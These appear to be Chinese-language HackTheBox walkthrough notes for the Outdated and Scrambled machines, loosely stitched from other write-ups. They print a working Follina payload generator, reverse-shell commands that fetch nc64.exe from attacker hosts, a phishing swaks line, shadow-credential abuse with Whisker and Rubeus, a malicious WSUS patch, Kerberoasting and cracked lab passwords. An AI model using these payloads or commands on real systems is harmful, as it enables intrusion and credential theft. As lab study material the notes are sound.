cd "Microsoft Azure AD Sync\Bin“
需要在C:\Program Files\Microsoft Azure AD Sync\Bin下执行该用户工作目录下的AdDecrypt.exe
\users\mhope\documents\AdDecrypt.exe -FullSQL
可以得到密码d0m@in4dminyeah!
Outdated
smbclient -L查看共享文件
有几个关于WSUS 相关的共享(WsusContent
和WSUSTemp
),同样的行为也是如此。Windows Server Update Services (WSUS) 是一个用于在整个网络中分发补丁的系统。
在share目录下下载get NOC_Reminder.pdf
内容:
第一个暗示是他们正在寻找将 Web 应用程序链接发送到的人itsupport@outdated.htb
。这很有用,并表明有人会点击这些链接。
还有一个 CVE 列表:
-
CVE-2022-30190 - 这是 2022 年 5 月末出现的重大 MSDT(也称为 Folina)漏洞。我稍后会讨论这个问题。
-
CVE-2022-30129 - 此漏洞利用 VSCode。很多信息都是基于这个演示,我认为它试图通过打开浏览器访问 PornHub 来展示 RCE。实际问题在这里描述得很好,涉及到
vscode://
url。在发布时,我找不到任何 POC,也没有理由认为 VSCode 已安装在盒子上。 -
CVE-2022-30138 - Windows 打印后台处理程序中的漏洞,但仅限本地权限提升。
-
CVE-2022-29130 - LDAP 中的 RCE。在发布时,我找不到此漏洞的任何 POC。
-
CVE-2022-29110 - Excel 中的 RCE。在发布时,我找不到此漏洞的任何 POC,也没有迹象表明盒子上安装了 Excel。
CVE-2022-30190 背景
当 Folina 第一次公开时,约翰·哈蒙德(John Hammond)发布了这段非常可靠的视频来解释它。有可能滥用msdt://
URL 协议来执行代码。最常见的攻击路径是 Office 文档,其中包含对攻击者控制的 HTML 文件的外部引用,并且该 HTML 文件包含重定向到 URL 的 JavaScript msdt://
。
通常这不会成为问题,因为 Microsoft 诊断工具会弹出对话框并要求用户输入,但似乎当 URL 长于 4096 字节时,就会被绕过。当研究人员第一次向微软提交这个漏洞时,实际上忽略了这个细节,导致该漏洞被当作不是漏洞而被拒绝,并为许多受害者延长了漏洞窗口。
2022年5月27日,我们发现有安全研究人员公开了一个新的Office漏洞,称为Follina,由白俄罗斯的一个IP地址上传。该漏洞的原理是利用Microsoft Office将远程HTML页面作为OLE对象插入的功能,文档打开后将访问远程HTML页面并执行其中的代码,攻击者利用js代码将页面重定向,使其通过”ms-msdt:”协议访问URL链接,调用本地msdt.exe并传入攻击者构造好的参数,最终执行任意PowerShell代码。值得注意的是,该漏洞在宏被禁用的情况下仍可被利用,具有较大的安全隐患。
【涨知识】利用Follina漏洞网络攻击的加密流量分析 - 安全牛
我将向itsupport@outdated.htb
注释中注明的电子邮件地址发送一封电子邮件,其中包含 Folina 漏洞利用的链接。通常,Folina 被打包在 Word 文档中,以真正避免弹出窗口等问题。为了解决“过时”问题,我只需要使用一个 HTML 页面,该页面使用 JavaScript 重定向到 URL msdt://
。
似乎电子邮件上的垃圾邮件过滤器正在捕获某些电子邮件,然后他们的链接不会被点击。例如,如果电子邮件中的 URL 以 结尾.doc
,则会被过滤。除此之外,Word 实际上并不在计算机上,因此发送指向文档的链接不会导致利用,而是会导致挫败感。
法一直接利用现成exp
GitHub - JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload
该文本讨论了发送 IT 支持链接以监控内部平台。有趣的是,它还谈到了必须修补的 CVE,第一个CVE-2022-30190 .aka Follina,它使用 Word 的外部链接调用 Microsoft 支持诊断工具(MSDT)来执行代码执行。
利用此漏洞的最简单方法是使用John Hammond 的脚本。
然而,由于这个脚本需要互联网下载nc64.exe
文件,所以你需要修改它,所以它是从你的攻击机器上下载的。
[...] if args.reverse: command = f"""Invoke-WebRequest http://10.10.14.130/nc64.exe -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}""" os.system("cp nc64.exe "+serve_path [...] if args.reverse: t = threading.Thread(target=serve_http, args=()) t.start() print(f"[+] starting 'nc -lvnp {args.reverse}' ") os.system(f"rlwrap nc -lnvp {args.reverse}")
然后,执行脚本如下:
kali@kali:~/Documents/HTB/Outdated/msdt-follina$ python3 follina.py --interface tun0 --port 80 --reverse 443 [+] copied staging doc /tmp/wt3ylf2c [+] created maldoc ./follina.doc [+] serving html payload on :80 [+] starting 'nc -lvnp 443' listening on [any] 443 ...
最后,向 IT 支持发送一封电子邮件,其中包含本地计算机的链接,以便可以执行漏洞利用。
kali@kali:~/Documents/HTB/Outdated/msdt-follina$ swaks --to itsupport@outdated.htb --from marmeus@marmeus.com --server mail.outdated.htb --body "http://<ATTACKER_IP>/"
大约3分钟后,获得“btables”的反向shell。
C:\Users\btables\AppData\Local\Temp\SDIAG_20ab2273-6de8-4357-963b-cf3b570e74af>whoami outdated\btables
法二
使用一些基于John Hammond 的 POC 的代码。这个 POC 做了很多事情,生成一个将请求 HTML 负载的 Word 文档,甚至提供网络服务器并捕获反向 shell。我将仅使用几行来生成 HTML 有效负载:
#!/usr/bin/env python3 import base64 import random import string import sys if len(sys.argv) > 1: command = sys.argv[1] else: command = "IWR http://10.10.14.6/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.6 443 -e cmd" base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8") # Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //""" html_payload += ( "".join([random.choice(string.ascii_lowercase) for _ in range(4096)]) + "\n</script>" ) print(html_payload)
执行这个代码后将其生成的html代码复制到msdt.html里
发送邮件给受害主体
swaks --to itsupport@outdated.htb --from "0xdf@0xdf.htb" --header "Subject: Internal web app" --body "http://10.10.14.6/msdt.html"
如果可行,用户将单击链接,请求msdt.html
我将提供的页面,稍后,我应该收到上传请求nc64.exe
(我将确保我的网络根目录中有一个副本),然后是一个 shell在 TCP 443 上。它的工作方式就像预期的那样。两个获取请求:
rlwrap -cAr nc -lnvp 443
上面的都没有复现成功,
hostname client
ipconfig
意外的 IP 地址:这不是我通过电子邮件发送的公共 IP。我一定是在一个容器里。systeminfo
表明该框是域的一部分outdated.htb
:
systeminfo
主机已打补丁,DC主机名为DC。
利用Sharphound.exe
iwr http://10.10.14.6/SharpHound.exe -outfile s.exe
.\s.exe -C all
smbserver.py -smb2support share . -user 0xdf -pass 0xdf0xdf
net use \10.10.14.6\share /u:0xdf 0xdf0xdf
copy 20220719203544_BloodHound.zip \10.10.14.6\share\
我将打开 Bloodhound、清除数据库并上传 Zip 文件。我将搜索 btable 并将它们标记为已拥有。仔细观察btables,他们在“出站控制权”下有一个“组委派对象控制”:
单击该按钮将其显示在图表上:
作为 ITSTAFF 小组的成员,btablesAddKeyCredentialLink
上有 sflowers。不幸的是,在撰写本文时,Bloodhound 中没有与该链接相关的滥用信息。
SpectorOps 的 Active Directory 专家发布的这篇文章定义了影子凭证的概念,以及如何滥用关键信任帐户映射来接管帐户。他们还发布了一个执行这种滥用行为的工具Whisker。
解释
如果您可以写入用户的 msDS-KeyCredentialLink 属性,则可以检索该用户的 NT 哈希值。
当滥用密钥信任时,我们实际上是在向帐户添加替代凭据,或“影子凭据”,从而允许获取 TGT,然后获取用户/计算机的 NTLM 哈希值。即使用户/计算机更改了密码,这些影子凭证也会保留下来。
在获取帐户的 TGT 和 NTLM 哈希后,滥用计算机对象的密钥信任需要执行额外的步骤。一般有两种选择:
-
伪造 RC4 银票来冒充特权用户访问相应的主机。
-
使用TGT调用S4U2Self来模拟特权用户到相应的主机。此选项需要修改获取的服务票证以在服务名称中包含服务类。
密钥信任滥用还有一个额外的好处,即它不会将访问权限委托给可能受到损害的另一个帐户 - 它仅限于攻击者生成的私钥。此外,它不需要创建在实现权限升级之前可能难以清理的计算机帐户。
该技术需要以下条件:
-
至少一个 Windows Server 2016 域控制器。
-
安装在域控制器上的用于服务器身份验证的数字证书。
-
Active Directory 中的 Windows Server 2016 功能级别。
-
危害具有写入目标对象的 msDS-KeyCredentialLink 属性的委派权限的帐户。
Whisker has four functions:
-
添加 - 此函数生成公钥-私钥对,并向目标对象添加新的密钥凭证,就像用户从新设备注册到 WHfB 一样。
-
列表 — 此函数列出目标对象的 msDS-KeyCredentialLink 属性的所有条目。
-
删除 — 此函数从 DeviceID GUID 指定的目标对象中删除密钥凭证。
-
清除 — 此函数从目标对象的 msDS-KeyCredentialLink 属性中删除所有值。如果目标对象合法地使用 WHfB,它就会崩溃。
使用
编译工具
我将跳转到我的 Windows VM,然后打开 Visual Studio 2022。在打开的屏幕上,我将选择“克隆存储库”:
在下一个窗口中,我将提供它https://github.com/eladshamir/Whisker
并单击“克隆”。
该项目尚未开放。在右侧的“解决方案资源管理器”中,我将双击Whisker.sln
将其打开。现在,我将“构建”选项设置为“Release”和“Any CPU”,然后按 Ctrl-Shift-B 进行构建:
它构建:
Build started... 1>------ Build started: Project: Whisker, Configuration: Release Any CPU ------ 1> Whisker -> C:\Users\0xdf\Source\Repos\Whisker\Whisker\bin\Release\Whisker.exe ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
我会将结果复制Whisker.exe
回我的 Linux VM。
利用影子凭证
我将Whisker.exe
使用以下方式上传到“过时” iwr
:
PS C:\ProgramData> iwr http://10.10.14.6/Whisker.exe -outfile w.exe
我可以运行它来查找 sflowers 的任何当前条目。没有了:
PS C:\ProgramData> .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb [*] Searching for the target account [*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb [*] Listing deviced for sflowers: [*] No entries!
我补充一下:
PS C:\ProgramData> .\w.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:0xdf0xdf [*] No path was provided. The certificate will be printed as a Base64 blob [*] Searching for the target account [*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID 5cdd7103-25ea-444a-8a58-7dd254265116 [*] Updating the msDS-KeyCredentialLink attribute of the target object [+] Updated the msDS-KeyCredentialLink attribute of the target object [*] You can now run Rubeus with the following syntax: Rubeus.exe asktgt /user:sflowers /certificate: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 /password:"0xdf0xdf" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
最后一行给出了要运行的下一个命令Rubeus.exe
(我从SharpCollection下载并上传为r.exe
):
PS C:\ProgramData> .\r.exe asktgt /user:sflowers /certificate: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 /password:"0xdf0xdf" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
此命令生成 sflowers 的 NTLM 哈希值,我可以将其用作身份验证。
WSUS
现在有了sflowers的权限了
net user sflowers /domain 它是*WSUS Administrators
谷歌搜搜 enumerate exploit wsus
最新的是SharpWSUS 帖子,它很好地概述了 WSUS 服务器如何为不同规模和复杂性的网络提供更新。
它还具有指向带有该工具的Github 存储库的链接,我将像上面的 Whisker 一样在 Visual Studio 中构建该工具,然后上传到 DC:
WSUS 是一种 Microsoft 解决方案,可供管理员在整个环境中以可扩展的方式部署 Microsoft 产品更新和补丁,使用的方法使内部服务器无需直接连接到 Internet。WSUS 在 Windows 企业环境中极为常见。
就相当于wsus下发补丁给机器,这边的wsus服务器和dc是统一主机,补丁的内容文章中是添加一个用户,这边我们是直接利用nc64反弹shell,然后利用工具输入更新机器补丁的命令就可以反弹shell了
使用SharpWSUS进行横向移动的流程如下:
-
找到 WSUS 服务器并对其进行攻击。
-
枚举 WSUS 服务器的内容以确定要定位的计算机。
-
创建 WSUS 组。
-
将目标计算机添加到 WSUS 组。
-
创建恶意补丁。
-
批准部署恶意补丁。
-
等待客户端下载补丁。
-
下载补丁后进行清理。
接下来跟着文章操作就可以了
upload SharpWSUS.exe sw.exe
Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate
将显示正在使用的 WSUS 服务器
或者.\sw.exe locate 工具的命令
ping
将显示它与 DC 是同一主机
.\sw.exe inspect
枚举有关 WSUS 部署的各种详细信息,例如当前服务器管理的计算机、每台计算机上次签入更新的时间、任何下游服务器以及 WSUS 组。
WSUS 将仅运行已签名的 Microsoft 二进制文件。由于我没有好的方法来获得 MS 签名证书,因此我必须使用合法的东西。本文建议使用 Sysintenas 工具PSExec。我将下载Sysinternals,复制PsExec.exe
到我的网络服务器,然后上传:
.\sw.exe create /payload:"C:\programdata\ps.exe" /args:" -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"CVE-2022-30190"
我需要使用输出中给出的语法(/groupname
任意)来批准更新:
.\sw.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:dc.outdated.htb /groupname:"CriticalPatches"
rlwrap -cAr nc -lnvp 445 成功提权
Scrambled
%userprofile%
是一个环境变量
它代表当前用户的用户文件夹路径。具体而言,它指向当前登录用户的用户主文件夹,通常包含用户的个人文件、文档、下载、桌面等文件夹。
例如,如果用户名是 "John",那么 %userprofile%
将被解释为 C:\Users\John
。这里 C:
是系统安装的驱动器,而 Users
是存储所有用户文件夹的文件夹。
在命令提示符或批处理文件中,使用 %userprofile%
可以方便地引用当前用户的主文件夹,而无需硬编码整个路径。这在编写脚本或配置文件时非常有用,因为它可以适应不同用户的不同文件夹结构。
例如,在命令提示符中,可以使用以下命令打开当前用户的文档文件夹
cd %userprofile%\Documents
这会将命令行的当前工作目录更改为当前用户的文档文件夹。
我将feroxbuster
针对该站点运行(使用小写列表,因为 IIS 不区分大小写),但它没有发现任何有趣的内容:
oxdf@hacky$ feroxbuster -u http://10.10.11.168 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
没有发现什么
上述图片暴露了用户名,并且网站提醒密码会重置为用户名,尝试一下
ldapsearch没有东西
这边我用smbclient不行
smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local
smbclient -U LicorDebellota.htb/kaorz
//10.129.228.115/netlogon
help
给出命令:
shares
显示股票:
use public
get Network Security Changes.pdf
这再次提到 NTLM 由于 NTLM 中继攻击而被禁用,现在一切都是通过 Kerberos 完成的。它还提到,人力资源部门已删除 SQL 数据库的访问权限。
应为ntlm认证被禁止,利用kerbore,
GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k
获得sqlsvc的凭证
hashcat mssqlsvc-hash /usr/share/wordlists/rockyou.txt
Pegasus60
这些信用实际上并不能直接允许我接触到任何新的东西。但因为这个帐户正在运行 SQL 服务,所以我可以使用该密码来执行Silver Ticket 攻击。adsecurity.org 链接的概述非常好。Silver Ticket 是伪造的 TGS(票证授予服务)票证,直接在客户端和服务之间使用,无需经过 DC。相反,TGS 票证是由服务帐户本身签名的,因此银票证仅限于仅验证服务本身。
要创建银票,攻击者需要:
-
服务帐户密码的 NTLM 哈希值;
-
域的SID
-
与帐户关联的服务主体名称 (SPN)。
GetUserSPNS.py
我已经通过上面获得了 SPN MSSQLSvc/dc1.scrm.local:1433
,
要获取密码“Pegasus60”的 NTLM 哈希值,我将使用这篇文章中的命令:
oxdf@hacky$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4
(stdin)= b999a16500b87d17ec7f2e2a68778f05
接下来获取域sid,第一个方法我不知道/etc/ldap/ldap.conf在哪
后面想弄再来看看
要获取域 SID,我需要连接回 LDAP,但需要经过身份验证。需要进行大量的故障排除和搜索才能使其正常工作(感谢 TheCyberGeek 提供了一些关于此问题的提示)。如果我尝试以 ksimpson 身份连接,则会收到有关需要 SSL/TLS 的错误:
oxdf@hacky$ ldapsearch -h dc1.scrm.local -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" ldap_bind: Strong(er) authentication required (8) additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563
我需要下载服务器证书才能启用此连接:
oxdf@hacky$ openssl s_client -connect dc1.scrm.local:636 CONNECTED(00000003) depth=0 CN = DC1.scrm.local verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = DC1.scrm.local verify error:num=21:unable to verify the first certificate verify return:1 --- Certificate chain 0 s:CN = DC1.scrm.local i:DC = local, DC = scrm, CN = scrm-DC1-CA --- Server certificate -----BEGIN CERTIFICATE----- MIIGHDCCBQSgAwIBAgITEgAAAAIJqKDU0Cj0DgAAAAAAAjANBgkqhkiG9w0BAQUF ...[snip]... G6CIrcE0+XepleMQggP4zOUbTO01AUmq7eX2z031RE4ndrCtgBXuGSHDqnUSvmVN N6T9KeVeLFfbxp6gyHA3ehMBKrkbp3iLAWiWptbdIHE= -----END CERTIFICATE----- ...[snip]...
我将获取该证书并将其保存到文件中。我可以用一行代码做到这一点:
